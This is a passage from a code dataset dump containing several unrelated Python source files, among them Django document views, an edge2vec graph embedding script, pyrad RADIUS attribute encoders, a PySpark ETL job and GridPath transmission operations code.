unicodedata.normalize('NFKD', file_name).encode('ascii','ignore').decode()\n header = 'attachment; filename=\"{}\"'.format(ascii_name)\n if ascii_name != file_name:\n quoted_name = urlquote(file_name)\n header += '; filename*=UTF-8\\'\\'{}'.format(quoted_name)\n\n return header\n\n@login_required()\ndef print_document(request, pk):\n document = get_object_or_404(Document, pk=pk)\n templates = DocumentTemplate.objects.filter(document_name=document.document_name)\n\n if request.POST.get('print') is not None:\n context = tags(document)\n\n visa = Document.objects.filter(document_name_id=settings.VISA_ID, worker=document.worker).order_by('id')\n if len(visa) > 0:\n visa_context = get_visa(visa.reverse()[0])\n context.update(visa_context)\n\n path = request.POST.get('template')\n now = request.POST.get('now')\n doc = DocxTemplate(os.path.join(settings.MEDIA_ROOT,path))\n if now != \"\":\n context['DATE_NOW'] = datetime.strftime(parse_date(now), \"%d.%m.%Y\")\n doc.render(context)\n\n f = BytesIO()\n doc.save(f)\n length = f.tell()\n \n response = HttpResponse(\n f.getvalue(),\n content_type='application/doc.html')\n file_name = \"{}_{}.docx\".format(document.worker.lname, document.document_name)\n response['Content-Disposition'] = disposition(file_name)\n # response['Content-Disposition'] = 'attachment; filename={}_{}.docx'.format(document.worker.lname, document.document_name)\n response['Content-Length'] = length\n f.seek(0)\n return response\n \n else:\n context = {\n 'breadcrumb': [\n {'url': reverse('main:index'), 'title': _(\"Home\")},\n {'url': reverse('worker:index'), 'title': _('Workers')},\n {'url': reverse('worker:info_worker', args=[document.worker.id]), 'title': document.worker},\n {'url': reverse('document:print_document', args=[document.id]), 'title': _('Print document')},\n ],\n 'name_form':_(\"Print document\"),\n 'document':document,\n 'templates':templates,\n }\n return render(request, 'document/print_document.html', context)\n\n\n@login_required()\ndef documents_list(request):\n documents = Document.objects.all()\n context = {\n 'breadcrumb': [\n {'url': reverse('main:index'), 'title': _(\"Home\")},\n {'url': reverse('document:documents_list'), 'title': _('Documents list')},\n ],\n 'documents':documents,\n }\n template = loader.get_template('document/documents_list.html')\n return HttpResponse(template.render(context, request))\n\n\n@login_required()\ndef add_oswidczenia(request, pk):\n worker = get_object_or_404(Worker, pk=pk)\n form = OswiadczeniaForm(request.POST)\n employers =Employer.objects.all()\n companies = Company.objects.all()\n documents_names = DocumentName.objects.all()\n if request.method == \"POST\":\n position = request.POST.get('position')\n position = get_object_or_404(Position, pk=int(position))\n company = request.POST.get('company')\n company = get_object_or_404(Company, pk=int(company))\n document_name = request.POST.get('document_name')\n document_name = get_object_or_404(DocumentName, pk=int(document_name))\n if form.is_valid():\n document = form.save(commit=False)\n document.worker=worker\n document.position=position\n document.company=company\n document.save()\n messages.info(request, _('Oswiadczenia to %(worker)s successfully added') %\n {'worker':worker})\n return redirect ('worker:info_worker', worker.id)\n else:\n messages.info(request, _(\"Oswiadczenia don't saved\"))\n return redirect ('worker:info_worker', worker.id)\n else:\n context = {\n 'breadcrumb': [\n {'url': reverse('main:index'), 'title': _(\"Home\")},\n {'url': reverse('worker:index'), 'title': _('Workers')},\n {'url': reverse('worker:info_worker', args=[worker.id]), 'title': worker},\n {'url': reverse('document:add_oswiadczenia', args=[worker.id]), 'title': _('Add oswiadczenia')},\n ],\n 'name_form':_(\"Add oswiadczenia\"),\n 'worker':worker,\n 'employers':employers,\n 'companies':companies,\n 'documents_names':documents_names,\n }\n return render(request, 'document/edit_oswiadczenia.html', context)\n\n","sub_path":"dev_product/document/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"72073545","text":"'''\nuse existing matrix to run edge2vec\n'''\n\nimport argparse\nimport logging\nimport random\nfrom functools import partial\nfrom multiprocessing import Pool, cpu_count\nfrom typing import List, Optional\n\nimport numpy as np\nfrom gensim.models import Word2Vec\n\nfrom .utils import read_graph\n\nlogger = logging.getLogger(__name__)\nWalk = List[int]\n\n\ndef parse_args():\n '''\n Parses the node2vec arguments.\n '''\n parser = argparse.ArgumentParser(description=\"Run edge transition matrix.\")\n\n parser.add_argument('--input', nargs='?', default='weighted_graph.txt',\n help='Input graph path')\n\n parser.add_argument('--matrix', nargs='?', default='matrix.txt',\n help='Input graph path')\n\n parser.add_argument('--output', nargs='?', default='vector.txt',\n help='Embeddings path')\n\n parser.add_argument('--dimensions', type=int, default=128,\n help='Number of dimensions. Default is 128.')\n\n parser.add_argument('--walk-length', type=int, default=3,\n help='Length of walk per source. Default is 3.')\n\n parser.add_argument('--num-walks', type=int, default=2,\n help='Number of walks per source. Default is 2.')\n\n parser.add_argument('--window-size', type=int, default=2,\n help='Context size for optimization. Default is 2.')\n\n parser.add_argument('--iter', default=5, type=int,\n help='Number of epochs in SGD')\n\n parser.add_argument('--workers', type=int, default=8,\n help='Number of parallel workers. Default is 8.')\n\n parser.add_argument('--p', type=float, default=1,\n help='Return hyperparameter. Default is 1.')\n\n parser.add_argument('--q', type=float, default=1,\n help='In/out hyperparameter. Default is 1.')\n\n parser.add_argument('--weighted', dest='weighted', action='store_true',\n help='Boolean specifying (un)weighted. Default is unweighted.')\n parser.add_argument('--unweighted', dest='weighted', action='store_false')\n parser.set_defaults(weighted=False)\n\n parser.add_argument('--directed', dest='directed', action='store_true',\n help='Graph is (un)directed. Default is undirected.')\n parser.add_argument('--undirected', dest='directed', action='store_false')\n parser.set_defaults(directed=False)\n\n return parser.parse_args()\n\n\ndef get_walks(graph, num_walks, walk_length, matrix, p, q, use_multiprocessing: bool = True, ):\n \"\"\"Generate random walk paths constrained by transition matrix\"\"\"\n\n nodes = list(graph.nodes())\n\n shuffled_nodes = random.sample(nodes*num_walks,len(nodes)*num_walks)\n partial_get_walk = partial(_get_walk, graph=graph, walk_length=walk_length, matrix=matrix, p=p, q=q)\n if use_multiprocessing:\n with Pool(cpu_count()) as p:\n logger.warning(f'Use multiprocessing on {cpu_count()} cores')\n chunksize=len(shuffled_nodes)//cpu_count()\n walks = p.map(partial_get_walk, shuffled_nodes,chunksize=chunksize)\n\n else:\n walks = []\n for node in nodes:\n walks.append(partial_get_walk(node))\n\n return walks\n\ndef _get_walk(start_node, graph, walk_length, matrix, p, q):\n \"\"\"Return a random walk path.\"\"\"\n walk = [start_node]\n prev = None\n while len(walk) < walk_length: # here we may need to consider some dead end issues\n cur = walk[-1]\n cur_nbrs = list(graph.neighbors(cur)) # (G.neighbors(cur))\n\n if len(cur_nbrs) == 0:\n return walk # the walk has hit a dead end\n random.shuffle(cur_nbrs)\n if len(walk) == 1:\n walk.append(random.choice(cur_nbrs))\n else:\n prev = walk[-2]\n\n if prev not in graph:\n print(f'Problem: prev not in graph: {prev}')\n raise ValueError\n elif cur not in graph[prev]:\n print(f'Problem: cur not in graph: {cur}')\n print(list(graph[prev].keys()))\n raise ValueError\n\n pre_edge_type = graph[prev][cur]['type'] - 1\n\n distance_sum = 0\n\n for neighbor in cur_nbrs:\n # print \"neighbor_link: \",neighbor_link\n neighbor_link_type = graph[cur][neighbor]['type'] - 1\n # Get transition probability based on the previous edge and the current possible edge\n transition_probability = matrix[pre_edge_type][neighbor_link_type]\n\n neighbor_link_weight = graph[cur][neighbor]['weight']\n\n if graph.has_edge(neighbor, prev) or graph.has_edge(prev, neighbor): # undirected graph\n distance_sum += transition_probability * neighbor_link_weight / p # +1 normalization\n elif neighbor == prev: # decide whether it can random walk back\n distance_sum += transition_probability * neighbor_link_weight\n else: # Triangle\n distance_sum += transition_probability * neighbor_link_weight / q\n\n '''\n pick up the next step link\n '''\n nn = pick_neighbors(graph, cur, prev, cur_nbrs, pre_edge_type, matrix, distance_sum, p, q)\n if nn is not None:\n walk.append(nn)\n else:\n print('No neighbour to go!')\n print(prev, cur)\n walk.append(random.choice(cur_nbrs))\n\n # print \"walk length: \",len(walk),walk\n # print \"edge walk: \",len(edge_walk),edge_walk \n return walk\n\n\ndef pick_neighbors(graph, cur, prev, neighbors, pre_edge_type, matrix, d, p, q):\n rand = np.random.rand() * d\n threshold = 0\n for neighbor in neighbors:\n neighbor_link = graph[cur][neighbor]\n # print \"neighbor_link: \",neighbor_link\n neighbor_link_type = neighbor_link['type'] - 1\n # print \"neighbor_link_type: \",neighbor_link_type\n neighbor_link_weight = neighbor_link['weight']\n transition_probability = matrix[pre_edge_type][neighbor_link_type]\n\n if graph.has_edge(neighbor, prev) or graph.has_edge(prev, neighbor): # undirected graph\n threshold += transition_probability * neighbor_link_weight / p\n elif neighbor == prev:\n threshold += transition_probability * neighbor_link_weight\n else:\n threshold += transition_probability * neighbor_link_weight / q\n\n if threshold >= rand:\n return neighbor\n\n\ndef main_helper(args):\n transition_matrix = np.loadtxt(args.matrix, delimiter=' ')\n graph = read_graph(\n path=args.input,\n weighted=args.weighted,\n directed=args.directed,\n )\n model = train(\n transition_matrix=transition_matrix,\n graph=graph,\n number_walks=args.num_walks,\n walk_length=args.walk_length,\n p=args.p,\n q=args.q,\n window=args.window_size,\n size=args.dimensions,\n )\n model.wv.save_word2vec_format(args.output)\n\n\ndef train(\n *,\n transition_matrix,\n graph,\n number_walks: Optional[int] = None,\n walk_length: Optional[int] = None,\n p: Optional[float] = None,\n q: Optional[float] = None,\n window: Optional[int] = None,\n size: Optional[int] = None,\n) -> Word2Vec:\n walks = get_walks(\n graph,\n number_walks,\n walk_length,\n transition_matrix,\n p,\n q,\n )\n return Word2Vec(\n walks,\n size=size or 100,\n window=window or 5,\n min_count=1\n )\n\n\ndef main():\n args = parse_args()\n main_helper(args)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/edge2vec/edge2vec.py","file_name":"edge2vec.py","file_ext":"py","file_size_in_byte":7706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"227271804","text":"#!/usr/bin/env python3\n\nfrom brow.interface.selenium import ChromeBrowser as Browser\n\nwith Browser.session() as b:\n b.load(\"https://marcyes.com\")\n print(b.body)\n\n # follow a link\n css_selector=\"a#some_id\"\n elem = b.element(css_selector)\n elem.click()\n print(b.url)\n","sub_path":"junkyard/brow_test.py","file_name":"brow_test.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"103492427","text":"class Solution(object):\n def minCost(self, costs):\n \"\"\"\n :type costs: List[List[int]]\n :rtype: int\n \"\"\"\n # DP\n # dp[i][j] is the min-cost of painting house[:j+1] with color[i]\n if not costs: return 0\n dp = [[0 for x in range(len(costs))] for y in xrange(3)]\n for i in xrange(3):\n dp[i][0] = costs[0][i]\n for j in xrange(1,len(costs)): # 问题:忘了从1开始\n for i in xrange(3):\n dp[i][j] = min(dp[(i+1)%3][j-1], dp[(i-1)%3][j-1]) + costs[j][i] \n return min(dp[0][-1], dp[1][-1], dp[2][-1])\n ","sub_path":"256_paint_house/dp.py","file_name":"dp.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"609561969","text":"import graphics.screen\nimport graphics.face\nimport graphics.vertex\nimport numpy as np\n\nclass Item:\n def _update_v_offset(self, n_points=None):\n if self.prev_item==None:\n v_offset = 0\n else:\n v_offset = self.prev_item.next_v_offset\n if n_points==None:\n n_points = len(self.points)\n self.next_v_offset = v_offset + n_points\n return v_offset\n\n def _writePoints(self, points):\n self.points = []\n for point in points:\n self.points.append(graphics.vertex.Vertex(point))\n\n def _writeTriangles(self, triangles):\n self.triangles = []\n for triangle in triangles:\n if len(triangle) == 3:\n if self.color != None:\n triangle.append(self.color)\n else:\n triangle.append('gray')\n triangle.append(self.border)\n elif len(triangle) == 4:\n triangle.append(self.border)\n self.triangles.append(graphics.face.Face(triangle))\n\n def __init__(self, name, points=None, triangles=None, prev_item=None, color=None, border='black'):\n self.prev_item = prev_item\n self.color = color\n self.border = border\n if points==None or triangles==None:\n points = []\n triangles = []\n with open('graphics/'+name+'V.txt', 'r') as f:\n lines = f.readlines()\n for line in lines:\n coords = line[:-2].split(' ')\n points.append([-1*float(coords[0]), -1*float(coords[1]), -1*float(coords[2])])\n f.close()\n\n with open('graphics/'+name+'T.txt', 'r') as f:\n lines = f.readlines()\n for line in lines:\n coords = line[:-2].split(' ')\n newCoords = []\n for coord in coords[1:4]:\n newCoords.append(int(coord))\n\n if coords[0]=='w':\n newCoords.append('white')\n elif coords[0]=='r':\n newCoords.append('red')\n\n triangles.append(newCoords)\n f.close()\n\n v_offset = self._update_v_offset(len(points))\n for i in range(len(triangles)):\n for j in range(3):\n triangles[i][j] += v_offset - 1\n\n self.initial_points = points\n self.initial_triangles = triangles\n\n self._writePoints(points)\n self._writeTriangles(triangles)\n\n def rotate(self, axis, angle):\n #rotate model around axis\n if np.isnan(angle):\n angle = 0\n for point in self.points:\n point.rotate(axis, angle)\n\n def move(self, axis, value):\n for point in self.points:\n point.move(axis, value)\n\n def move_to(self, value):\n self.move('x',value[0])\n self.move('y',value[1])\n self.move('z',value[2])\n\n def restore(self):\n self._writePoints(self.initial_points)\n self._writeTriangles(self.initial_triangles)\n\n def update(self):\n self._update_v_offset()\n\n\nclass LineItem(Item):\n def __init__(self, name, line_points, prev_item=None, color='black'):\n self.prev_item = prev_item\n self.color = color\n self.border = color\n points = []\n points.append(line_points[0])\n for p in line_points[1:]:\n points.append(p)\n points.append(p)\n triangles = []\n indx = 1\n for _ in range(len(line_points)-1):\n newCoords = [indx, indx+1, indx+2]\n triangles.append(newCoords)\n indx += 2\n\n v_offset = super()._update_v_offset(len(points))\n for i in range(len(triangles)):\n for j in range(3):\n triangles[i][j] += v_offset - 1\n\n super()._writePoints(points)\n super()._writeTriangles(triangles)\n\n self.initial_points = self.points\n self.initial_triangles = self.triangles\n\n def add_point(self, point):\n self.points.append(graphics.vertex.Vertex(point))\n self.points.append(graphics.vertex.Vertex(point))\n last_indx = self.triangles[-1].c\n triangle = [last_indx, last_indx+1, last_indx+2]\n if self.color != None:\n triangle.append(self.color)\n else:\n triangle.append('gray')\n triangle.append(self.border)\n self.triangles.append(graphics.face.Face(triangle))\n super().update()\n","sub_path":"src/flight/graphics/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":4518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"605656723","text":"import configparser\nimport os\nimport pyspark.sql.functions as F\nfrom pyspark.sql import types as T\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import udf, col\nimport sys\nimport math\nfrom datetime import datetime, timedelta\n\nconfig = configparser.ConfigParser()\nconfig.read('/home/workspace/dwh.cfg')\nos.environ[\"AWS_ACCESS_KEY_ID\"] = config.get(\"AWS_CREDENTIALS\", \"AWS_ACCESS_KEY_ID\")\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = config.get(\"AWS_CREDENTIALS\", \"AWS_SECRET_ACCESS_KEY\")\nos.environ[\"s3_bucket\"] = config.get(\"S3\", \"s3_bucket\")\n\ndef create_spark_session():\n \"\"\"\n Create spark session for processing\n \"\"\"\n \n print(\"Create Spark Session\")\n spark = SparkSession \\\n .builder \\\n .config(\"spark.jars.packages\",\"saurfang:spark-sas7bdat:2.0.0-s_2.11,org.apache.hadoop:hadoop-aws:2.7.0\") \\\n .enableHiveSupport().getOrCreate()\n return spark\n\ndef process_data(spark, s3_bucket):\n \"\"\"\n Process various data sets using spark \n \"\"\"\n print (\"-> Airport Weather Data Processing STARTED\")\n \n print (\"--> Airport Weather Data Extraction STARTED\")\n airport = spark.read.parquet(s3_bucket + \"datalake/airport_table/\")\n city_state = spark.read.parquet(s3_bucket + \"datalake/city_state_table/\")\n weather = spark.read.parquet(s3_bucket + \"datalake/city_weather_table/\")\n\n airport.createOrReplaceTempView(\"airport_temp_table\")\n city_state.createOrReplaceTempView(\"city_state_temp_table\")\n weather.createOrReplaceTempView(\"weather_temp_table\")\n\n airport_weather = spark.sql(\" select \\\n location, iata_code, airport_name, elevation_ft, avg_temp , std_temp, wtt.state, wtt.state_code \\\n from \\\n airport_temp_table att \\\n LEFT OUTER JOIN \\\n weather_temp_table wtt \\\n ON \\\n wtt.city = att.location and wtt.state_code = att.air_state_code\")\n \n print (\"--> Airport Weather Data Extraction COMPLETED\")\n \n # write Airport Weather data in parquet format in S3 location \n print (\"---> Airport Weather Data Parquet Writing STARTED\")\n airport_weather.write.mode('overwrite').parquet(s3_bucket + 'datalake/airport_weather_table/')\n print (\"---> Airport Weather Data Parquet Writing COMPLETED\")\n \n print (\"-> Airport Weather Data Processing COMPLETED\")\n \ndef main():\n \"\"\"\n Main Function to load data to S3 using spark.\n \"\"\" \n spark = create_spark_session()\n print(\"Spark Session Created\")\n\n #Print S3 bucket location\n s3_bucket=os.environ[\"s3_bucket\"]\n s3_bucket = s3_bucket.replace(\"'\", \"\")\n \n print (s3_bucket)\n \n #Invoke Functions to process data\n process_data(spark, s3_bucket) \n \nif __name__ == \"__main__\":\n main()\n \n","sub_path":"Capstone/Data_Build_Load/us_airport_weather.py","file_name":"us_airport_weather.py","file_ext":"py","file_size_in_byte":2717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"559346106","text":"# tools.py\n#\n# Utility functions\nimport struct\nimport six\n\ndef EncodeString(str):\n if len(str) > 253:\n raise ValueError('Can only encode strings of <= 253 characters')\n if isinstance(str, six.text_type):\n return str.encode('utf-8')\n else:\n return str\n\n\ndef EncodeOctets(str):\n if len(str) > 253:\n raise ValueError('Can only encode strings of <= 253 characters')\n return str\n\n\ndef EncodeAddress(addr):\n if not isinstance(addr, six.string_types):\n raise TypeError('Address has to be a string')\n (a, b, c, d) = map(int, addr.split('.'))\n return struct.pack('BBBB', a, b, c, d)\n\n\ndef EncodeIPv6Prefix(prefix):\n try:\n import ipaddress\n except ImportError:\n raise Exception('ipaddress module is required for IPv6Prefix support')\n if not isinstance(prefix, ipaddress.IPv6Network):\n raise TypeError('IPv6Prefix has to be a ipaddress.IPv6Network')\n octets = (prefix.prefixlen - 1) // 8 + 1\n return (struct.pack('BB', 0, prefix.prefixlen) +\n prefix.network_address.packed[0:octets])\n\n\ndef EncodeInteger(num, fmt='!I'):\n if not isinstance(num, six.integer_types):\n raise TypeError('Can not encode non-integer as integer')\n return struct.pack(fmt, num)\n\n\ndef EncodeDate(num):\n if not isinstance(num, int):\n raise TypeError('Can not encode non-integer as date')\n return struct.pack('!I', num)\n\n\ndef DecodeString(str):\n return str.decode('utf-8')\n\n\ndef DecodeOctets(str):\n return str\n\n\ndef DecodeAddress(addr):\n return '.'.join(map(str, struct.unpack('BBBB', addr)))\n\ndef DecodeIPv6Prefix(value):\n try:\n import ipaddress\n except ImportError:\n raise Exception('ipaddress module is required for IPv6Prefix support')\n _, prefixlen = struct.unpack('BB', value[0:2])\n assert prefixlen <= 128\n if len(value[2:]) % 2 == 1: # pad last incomplete block with zero\n value += six.b('\\x00')\n fmt = '!' + ('H' * (len(value[2:]) // 2))\n blocks = ['0'] * 8\n for index, block in enumerate(struct.unpack(fmt, value[2:])):\n blocks[index] = six.u('{:x}').format(block)\n prefix = six.u(':').join(blocks)\n return ipaddress.IPv6Network(six.u('{}/{}').format(prefix, prefixlen))\n\ndef DecodeInteger(num, fmt='!I'):\n return (struct.unpack(fmt, num))[0]\n\n\ndef DecodeDate(num):\n return (struct.unpack('!I', num))[0]\n\n\ndef DecodeTaggedAttr(datatype, value):\n # NOTE: According to RFC 2865, if the first byte (the tunnel tag field) is\n # NOTE: not between 0..32, it SHOULD be interpreted as first byte of the\n # NOTE: following string (for string fields) or ignored (for tunnel\n # NOTE: password field). This behavior is not yet implemented.\n (tag,) = struct.unpack('B', value[0:1])\n if (tag <= 0x1F):\n value = value[1:]\n if datatype == 'integer':\n # Tagged integer fields have only 3 octets => pad with one octet.\n # See RFC 2865 for details.\n value = six.b('\\x00') + value\n assert len(value) == 4\n return (tag, value)\n else:\n msg = ('Tunnel-Tag must be a value between 0..32. Exceptions for '\n 'string fields (see RFC 2865) are not yet implemented.')\n raise ValueError(msg)\n\n\ndef EncodeTaggedAttr(datatype, tag, value):\n if datatype == 'integer':\n # Tagged integer fields have only 3 octets => pad with one octet.\n # See RFC 2865 for details.\n value = value[1:]\n assert len(value) == 3\n return EncodeInteger(tag, 'B') + value\n\n\ndef EncodeAttr(datatype, value):\n if datatype == 'string':\n return EncodeString(value)\n elif datatype == 'octets':\n return EncodeOctets(value)\n elif datatype == 'ipaddr':\n return EncodeAddress(value)\n elif datatype == 'integer':\n return EncodeInteger(value)\n elif datatype == 'integer64':\n return EncodeInteger(value, '!Q')\n elif datatype == 'signed':\n return EncodeInteger(value, '!i')\n elif datatype == 'short':\n return EncodeInteger(value, '!H')\n elif datatype == 'byte':\n return EncodeInteger(value, 'B')\n elif datatype == 'date':\n return EncodeDate(value)\n elif datatype == 'ipv6prefix':\n return EncodeIPv6Prefix(value)\n else:\n raise ValueError('Unknown attribute type %s' % datatype)\n\n\ndef DecodeAttr(datatype, value):\n if datatype == 'string':\n return DecodeString(value)\n elif datatype == 'octets':\n return DecodeOctets(value)\n elif datatype == 'ipaddr':\n return DecodeAddress(value)\n elif datatype == 'integer':\n return DecodeInteger(value)\n elif datatype == 'integer64':\n return DecodeInteger(value, '!Q')\n elif datatype == 'signed':\n return DecodeInteger(value, '!i')\n elif datatype == 'short':\n return DecodeInteger(value, '!H')\n elif datatype == 'byte':\n return DecodeInteger(value, 'B')\n elif datatype == 'date':\n return DecodeDate(value)\n elif datatype == 'ipv6prefix':\n return DecodeIPv6Prefix(value)\n else:\n raise ValueError('Unknown attribute type %s' % datatype)\n\n\ndef XorBytes(bytes1, bytes2):\n '''Xor two bytestrings.'''\n assert len(bytes1) == len(bytes2)\n result = six.b('')\n if six.PY3:\n for b1, b2 in zip(bytes1, bytes2):\n result += bytes((b1 ^ b2,))\n else:\n for b1, b2 in zip(bytes1, bytes2):\n result += chr(ord(b1) ^ ord(b2))\n return result\n","sub_path":"pyrad/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":5481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"151915599","text":"import webbrowser\n\n\nclass Movie():\n \"\"\" This class provide a way to store movie related information \"\"\"\n def __init__(self, movie_title, movie_genres, movie_rating,\n movie_storyline, movie_poster, movie_trailer):\n self.title = movie_title\n self.genre = movie_genres\n self.rating = movie_rating\n self.storyline = movie_storyline\n self.poster = movie_poster\n self.trailer = movie_trailer\n\n def show_trailer(self):\n webbrowser.open(self.trailer)\n","sub_path":"media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"127905266","text":"# Copyright 2016-2020 Blue Marble Analytics LLC.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nThis is a line-level module that adds to the formulation components that\ndescribe the amount of power flowing on each line.\n\"\"\"\n\nimport csv\nimport os.path\nimport pandas as pd\nfrom pyomo.environ import Expression, value\n\nfrom db.common_functions import spin_on_database_lock\nfrom gridpath.auxiliary.db_interface import setup_results_import\nfrom gridpath.transmission.operations.common_functions import (\n load_tx_operational_type_modules,\n)\n\n\ndef add_model_components(m, d, scenario_directory, subproblem, stage):\n \"\"\"\n The following Pyomo model components are defined in this module:\n\n +-------------------------------------------------------------------------+\n | Expressions |\n +=========================================================================+\n | | :code:`Transmit_Power_MW` |\n | | *Defined over*: :code:`TX_OPR_TMPS` |\n | |\n | The power in MW sent on a transmission line (before losses). |\n | A positive number means the power flows in the line's defined direction,|\n | while a negative number means it flows in the opposite direction. |\n +-------------------------------------------------------------------------+\n | | :code:`Transmit_Power_MW` |\n | | *Defined over*: :code:`TX_OPR_TMPS` |\n | |\n | The power in MW received via a transmission line (after losses). |\n | A positive number means the power flows in the line's defined direction,|\n | while a negative number means it flows in the opposite direction. |\n +-------------------------------------------------------------------------+\n | | :code:`Tx_Losses_MW` |\n | | *Defined over*: :code:`TX_OPR_TMPS` |\n | |\n | Losses on the transmission line in MW. A positive number means the |\n | power flows in the line's defined direction when losses incurred, |\n | while a negative number means it flows in the opposite direction. |\n +-------------------------------------------------------------------------+\n\n \"\"\"\n\n # Dynamic Inputs\n ###########################################################################\n\n df = pd.read_csv(\n os.path.join(\n scenario_directory,\n str(subproblem),\n str(stage),\n \"inputs\",\n \"transmission_lines.tab\",\n ),\n sep=\"\\t\",\n usecols=[\"transmission_line\", \"tx_capacity_type\", \"tx_operational_type\"],\n )\n\n required_tx_operational_modules = df.tx_operational_type.unique()\n\n # Import needed transmission operational type modules\n imported_tx_operational_modules = load_tx_operational_type_modules(\n required_tx_operational_modules\n )\n\n # TODO: should we add the module specific components here or in\n # operational_types/__init__.py? Doing it in __init__.py to be consistent\n # with projects/operations/power.py\n\n # Expressions\n ###########################################################################\n\n def transmit_power_rule(mod, tx, tmp):\n tx_op_type = mod.tx_operational_type[tx]\n return imported_tx_operational_modules[tx_op_type].transmit_power_rule(\n mod, tx, tmp\n )\n\n m.Transmit_Power_MW = Expression(m.TX_OPR_TMPS, rule=transmit_power_rule)\n\n def transmit_power_losses_lz_from_rule(mod, tx, tmp):\n tx_op_type = mod.tx_operational_type[tx]\n return imported_tx_operational_modules[\n tx_op_type\n ].transmit_power_losses_lz_from_rule(mod, tx, tmp)\n\n m.Tx_Losses_LZ_From_MW = Expression(\n m.TX_OPR_TMPS, rule=transmit_power_losses_lz_from_rule\n )\n\n def transmit_power_losses_lz_to_rule(mod, tx, tmp):\n tx_op_type = mod.tx_operational_type[tx]\n return imported_tx_operational_modules[\n tx_op_type\n ].transmit_power_losses_lz_to_rule(mod, tx, tmp)\n\n m.Tx_Losses_LZ_To_MW = Expression(\n m.TX_OPR_TMPS, rule=transmit_power_losses_lz_to_rule\n )\n\n\n# Input-Output\n###############################################################################\n\n\ndef export_results(scenario_directory, subproblem, stage, m, d):\n \"\"\"\n Export operations results.\n :param scenario_directory:\n :param subproblem:\n :param stage:\n :param m: The Pyomo abstract model\n :param d: Dynamic components\n :return: Nothing\n \"\"\"\n\n # Transmission flows for all lines\n with open(\n os.path.join(\n scenario_directory,\n str(subproblem),\n str(stage),\n \"results\",\n \"transmission_operations.csv\",\n ),\n \"w\",\n newline=\"\",\n ) as tx_op_results_file:\n writer = csv.writer(tx_op_results_file)\n writer.writerow(\n [\n \"tx_line\",\n \"lz_from\",\n \"lz_to\",\n \"timepoint\",\n \"period\",\n \"timepoint_weight\",\n \"number_of_hours_in_timepoint\",\n \"transmission_flow_mw\",\n \"transmission_losses_lz_from\",\n \"transmission_losses_lz_to\",\n ]\n )\n for (l, tmp) in m.TX_OPR_TMPS:\n writer.writerow(\n [\n l,\n m.load_zone_from[l],\n m.load_zone_to[l],\n tmp,\n m.period[tmp],\n m.tmp_weight[tmp],\n m.hrs_in_tmp[tmp],\n value(m.Transmit_Power_MW[l, tmp]),\n value(m.Tx_Losses_LZ_From_MW[l, tmp]),\n value(m.Tx_Losses_LZ_To_MW[l, tmp]),\n ]\n )\n\n # TODO: does this belong here or in operational_types/__init__.py?\n # (putting it here to be in line with projects/operations/power.py)\n # Module-specific transmission operational results\n df = pd.read_csv(\n os.path.join(\n scenario_directory,\n str(subproblem),\n str(stage),\n \"inputs\",\n \"transmission_lines.tab\",\n ),\n sep=\"\\t\",\n usecols=[\"transmission_line\", \"tx_capacity_type\", \"tx_operational_type\"],\n )\n\n required_tx_operational_modules = df.tx_operational_type.unique()\n\n # Import needed transmission operational type modules\n imported_tx_operational_modules = load_tx_operational_type_modules(\n required_tx_operational_modules\n )\n for op_m in required_tx_operational_modules:\n if hasattr(imported_tx_operational_modules[op_m], \"export_results\"):\n imported_tx_operational_modules[op_m].export_results(\n m,\n d,\n scenario_directory,\n subproblem,\n stage,\n )\n else:\n pass\n\n\n# Database\n###############################################################################\n\n\ndef import_results_into_database(\n scenario_id, subproblem, stage, c, db, results_directory, quiet\n):\n \"\"\"\n\n :param scenario_id:\n :param subproblem:\n :param stage:\n :param c:\n :param db:\n :param results_directory:\n :param quiet:\n :return:\n \"\"\"\n if not quiet:\n print(\"transmission operations\")\n\n # Delete prior results and create temporary import table for ordering\n setup_results_import(\n conn=db,\n cursor=c,\n table=\"results_transmission_operations\",\n scenario_id=scenario_id,\n subproblem=subproblem,\n stage=stage,\n )\n\n # Load results into the temporary table\n results = []\n with open(\n os.path.join(results_directory, \"transmission_operations.csv\"), \"r\"\n ) as tx_op_file:\n reader = csv.reader(tx_op_file)\n\n next(reader) # skip header\n for row in reader:\n tx_line = row[0]\n lz_from = row[1]\n lz_to = row[2]\n timepoint = row[3]\n period = row[4]\n timepoint_weight = row[5]\n number_of_hours_in_timepoint = row[6]\n tx_sent = row[7]\n tx_losses_lz_from = row[8]\n tx_losses_lz_to = row[9]\n\n results.append(\n (\n scenario_id,\n tx_line,\n period,\n subproblem,\n stage,\n timepoint,\n timepoint_weight,\n number_of_hours_in_timepoint,\n lz_from,\n lz_to,\n tx_sent,\n tx_losses_lz_from,\n tx_losses_lz_to,\n )\n )\n\n insert_temp_sql = \"\"\"\n INSERT INTO temp_results_transmission_operations{}\n (scenario_id, transmission_line, period, subproblem_id, \n stage_id, timepoint, timepoint_weight, \n number_of_hours_in_timepoint,\n load_zone_from, load_zone_to, transmission_flow_mw,\n 